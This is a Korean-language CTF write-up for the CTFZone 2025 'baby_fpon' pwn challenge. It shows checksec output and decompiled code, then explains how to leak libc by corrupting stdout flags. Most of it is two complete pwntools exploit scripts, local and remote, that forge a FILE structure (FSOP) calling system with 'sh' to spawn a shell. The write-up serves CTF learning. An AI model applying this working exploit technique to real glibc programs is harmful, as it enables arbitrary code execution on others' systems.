콘텐츠로 건너뛰기

[CTFZone2025] baby_fpon (FSOP)

checksec

ubuntu@735e623c0bf0:~/study/ctfzone2025/fpon2$ checksec ./fpon
[*] '/home/ubuntu/study/ctfzone2025/fpon2/fpon'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

GOT Overwrite가 가능함.

Analysis / Decompiled-src

main

libc의 stdout 주소에 있는 데이터를 변조시킬 수 있다.

2바이트 정도 수정이 가능하며, 이후에는 쓰여질 address와 쓸 값인 content를 제공해준다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  char v4; // al
  _BYTE *v5; // rdx
  __int64 v6; // rdx
  unsigned __int8 user_uint8; // [rsp+Eh] [rbp-12h]
  unsigned __int8 v9; // [rsp+Eh] [rbp-12h]
  FILE *v10; // [rsp+10h] [rbp-10h]
  void *buf; // [rsp+18h] [rbp-8h]

  v10 = _bss_start;
  user_uint8 = get_user_uint8("Offset: ", argv, envp);
  v4 = get_user_uint8("Byte: ", argv, v3);
  v5 = (char *)v10 + user_uint8;
  *v5 = v4;
  v9 = get_user_uint8("Offset: ", argv, v5);
  *((_BYTE *)&v10->_flags + v9) = get_user_uint8("Byte: ", argv, v6);
  buf = (void *)get_user_uint64("Address: ");
  printf("Content: ");
  read(0, buf, 0x1000u);
  puts("That's all");
  return 0;
}

Soluton

이전 LACTF2024에서 보았던 flipma 문제에서 stdout을 2바이트 수정해서 릭했던 기억이 났다.

_IO_2_1_stdout_→_flags에 _IO_IS_APPENDING 플래그가 추가시키고, _IO_2_1_stdout_→_IO_write_base에서 하위 2번째 바이트를 \x00으로 수정시키면,

대량의 libc 관련 주소들이 릭된다.

이후에는 FSOP으로 쉘따면 된다.

solve.py

#!/usr/bin/env python3
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys

p = process("./fpon")
# p = remote("host3.dreamhack.games", 10296)
e = ELF('./fpon',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
# l = ELF('./libc_prob.so.6', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
    
    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\\x00")
    
    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

sla("Offset: ", str(1))

sla("Byte: ", str(0x38))

sla("Offset: ", str(8*4+1))

sla("Byte: ", str(0x00))

rl()
leak = ru("Address: ")
leak = leak[-64:]
leak = leak[28:28+6]
leak = uu64(leak)
info(f"leak: {hex(leak)}")

libc_base = leak - l.sym._IO_2_1_stdin_
info(f"libc_base: {hex(libc_base)}")
l.address = libc_base

fs = FileStructure(0)
marker = u64(b'CAFEBABE')
fs._IO_save_end = marker
_IO_save_end_off = bytes(fs) .index(p64(marker))

FSOP = FSOP_struct(flags = u64(b"\\x01\\x01;sh;\\x00\\x00"), \\
                   lock            = l.symbols['_IO_2_1_stdout_'] + 0x10, \\
                   _IO_read_ptr    = 0x0, \\
                   _IO_write_base  = 0x0, \\
                   _wide_data      = l.symbols['_IO_2_1_stdout_'] - 0x10, \\
                   _unused2        = p64(l.symbols['system'])+ b"\\x00"*4 + p64(l.symbols['_IO_2_1_stdout_'] + _IO_save_end_off + 4), \\
                   vtable          = l.symbols['_IO_wfile_jumps'] - 0x20, \\
                   )

sl(str(l.sym._IO_2_1_stdout_))

info(f"FSOP payload len: {len(FSOP)}")  

sla(b"Content: ", bytes(FSOP))

pi()

solve.py (server)

#!/usr/bin/env python3
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys

# p = process("./fpon")
p = remote("baby_fpon.tasks.ctf.ad", 32176)
# p = remote("host3.dreamhack.games", 10296)
e = ELF('./fpon',checksec=False)
# l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
l = ELF('./libc_prob.so.6', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
    
    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\\x00")
    
    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

sla("Offset: ", str(1))

sla("Byte: ", str(0x38))

sla("Offset: ", str(8*4+1))

sla("Byte: ", str(0x00))

rl()
leak = ru("Address: ")
leak = leak[-64:]
leak = leak[28:28+6]
leak = uu64(leak)
info(f"leak: {hex(leak)}")

libc_base = leak - l.sym._IO_2_1_stdin_
info(f"libc_base: {hex(libc_base)}")
l.address = libc_base

fs = FileStructure(0)
marker = u64(b'CAFEBABE')
fs._IO_save_end = marker
_IO_save_end_off = bytes(fs) .index(p64(marker))

FSOP = FSOP_struct(flags = u64(b"\\x01\\x01;sh;\\x00\\x00"), \\
                   lock            = l.symbols['_IO_2_1_stdout_'] + 0x10, \\
                   _IO_read_ptr    = 0x0, \\
                   _IO_write_base  = 0x0, \\
                   _wide_data      = l.symbols['_IO_2_1_stdout_'] - 0x10, \\
                   _unused2        = p64(l.symbols['system'])+ b"\\x00"*4 + p64(l.symbols['_IO_2_1_stdout_'] + _IO_save_end_off + 4), \\
                   vtable          = l.symbols['_IO_wfile_jumps'] - 0x20, \\
                   )

sl(str(l.sym._IO_2_1_stdout_))

info(f"FSOP payload len: {len(FSOP)}")    

sla(b"Content: ", bytes(FSOP))

pi()

Result

태그: